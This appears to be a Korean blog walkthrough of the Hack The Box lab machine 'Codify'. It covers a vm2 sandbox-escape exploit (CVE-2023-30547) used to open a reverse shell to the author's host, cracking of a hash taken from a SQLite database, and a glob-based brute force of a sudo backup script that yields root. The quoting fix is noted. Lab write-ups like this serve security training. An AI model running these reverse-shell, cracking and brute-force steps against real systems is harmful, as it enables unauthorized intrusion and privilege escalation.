Oh! JUN
[Hack The Box] codify 본문
1. 정보수집
1.1. nmap을 활용한 스캔
nmap -sV 10.10.11.239 -T5
2. 초기접근
2.1. 'CVE-2023-30547' 샌드박스 탈출 및 임의의 코드 실행
http://codify.htb/editor
'codify' 사이트에서 node.js editor 입력칸을 확인할 수 있음.
http://codify.htb/about
vm2 라이브러리는 JavaScript 샌드박싱을 위해 널리 사용되고 신뢰할 수 있는 도구입니다.
'codify' 사이트에 대해서 찾아보니까 vm2 라이브러리에 대한 취약점을 찾아볼 수 있었음.
wget https://raw.githubusercontent.com/Cur1iosity/CVE-2023-30547/main/CVE-2023-30547.py
해당 github에서 vm2 라이브러리에 대한 exploit을 다운받음.
python3 CVE-2023-30547.py -m reverse_shell -t http://codify.htb/run -p 4321 -i 10.10.14.68
"http://codify.htb/run" 사이트를 대상으로 reverse shell을 실행시킴.
nc -lvp 4321
reverse shell 받을 포트를 열어두면 연결되는것을 확인할 수 있음.
2.2. 'ticket.db'에서 계정 찾기
find / -name "*.db" 2>/dev/null
어떤 정보를 얻을 수 있나 찾아보다가 *.db 검색해보니 다양한 DB 파일을 확인할 수 있었는데 '/var/www/contact' 웹 서버를 관리하는 디렉터리에서 'tickets,db' 발견할 수 있었음.
sqlite3 tickets.db
.tables
cat 명령어 사용해서 .db 파일을 확인할 수도 있지만, 뒤죽박죽으로 나와서 sqlite3 사용해서 'tickets.db' 파일에 대해 확인해봤음. 'tickets', 'users' 테이블이 존재하는것을 확인할 수 있었음.
select * from users;
'users' 테이블에서 joshua의 hash PW를 확인할 수 있었음. john 도구를 사용해서 크랙할꺼임.
2.3. Hash PW 복호화
sudo mousepad hash.txt
크랙할 id:pw를 hash.txt에 저장했음.
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john 도구를 사용해서 크랙한 결과 joshua : spongebob1 를 확인할 수 있음.
2.4. 'joshua' 계정으로 ssh 접속하기
ssh joshua@10.10.11.239
joshua 계정정보를 이용해서 ssh 연결을 했음.
cat user.txt
'user.txt' flag를 확인할 수 있음.
3. 권한 상승
3.1. 'mysql-backup.sh' 쉘 분석
sudo -l
joshua 계정으로 sudo로 수행할 수 있는 명령어를 확인해봤는데 mysql-backup.sh 쉘 파일을 실행할 수 있음.
cat mysql-backup.sh
mysql-backup.sh 파일을 실행시켜보니까 '$DB_PASS == $USER_PASS' DB의 패스워드와 USER의 패스워드가 같아야됨.
https://rextester.com/l/bash_online_compiler
'$DB_PASS == $USER_PASS' 이 구문의 문제점은 변수에서 *와 같은 특수문자가 텍스트 처리되지 않고 제 기능으로 실행될 수 있다는거임.
DB_PASS = kwonohjun1234, USER_PASS = kwo* 변수를 지정하면 "password confirmed!' 출력하는것을 확인할 수 있음.
이 취약점을 이용해서 k, k1, k13 ... 이런식으로 문자 하나씩 무차별 대입하면 패스워드를 확인할 수 있음.
* 해결법 : "$DB_PASS" == "$USER_PASS" 변수에 (") 처리해서 텍스트로써 인식하게끔 해줘야됨.
cd /tmp
/tmp 임시 폴더로 이동해서 무차별 대입하는 코드를 작성해야 실행할 수 있음. (권한 때문에)
vi test.py
구문 | 결과 |
"echo ''a* | sudo /opt/scripts/mysql-backup.sh" | "Password Confirmation Failed" |
"echo ''b* | sudo /opt/scripts/mysql-backup.sh" |
"Password Confirmation Failed" |
"echo ''c* | sudo /opt/scripts/mysql-backup.sh" | "Password Confirmed!" |
"echo ''a* | sudo /opt/scripts/mysql-backup.sh" | "Password Confirmation Failed" |
"echo ''b* | sudo /opt/scripts/mysql-backup.sh" | "Password Confirmed!" |
"echo ''a* | sudo /opt/scripts/mysql-backup.sh" | "Password Confirmation Failed" |
... | ... |
해당코드는 위의 표처럼 'mysql-backup.sh' 파일의 입력에 a,b,c,... 문자를 무차별 대입해서 패스워드를 알아내는 코드임.
python3 test.py
'kljh12k3jhaskjh12kjh3' 패스워드를 알아낼 수 있었음.
su root
root 권한을 얻기 위한 시도를 하였고 성공했음.
cat root.txt
'문제풀이 > Hack The Box' 카테고리의 다른 글
[Hack The Box] crafty (보류 => 문제해결 => 또 안됨) (0) | 2024.02.20 |
---|---|
[Hack The Box] bizness (0) | 2024.02.19 |
[Hack The Box] analytics (0) | 2024.02.14 |
[Hack The Box] devvortex (0) | 2024.02.14 |
[Hack The Box] cozyhosting (0) | 2024.02.13 |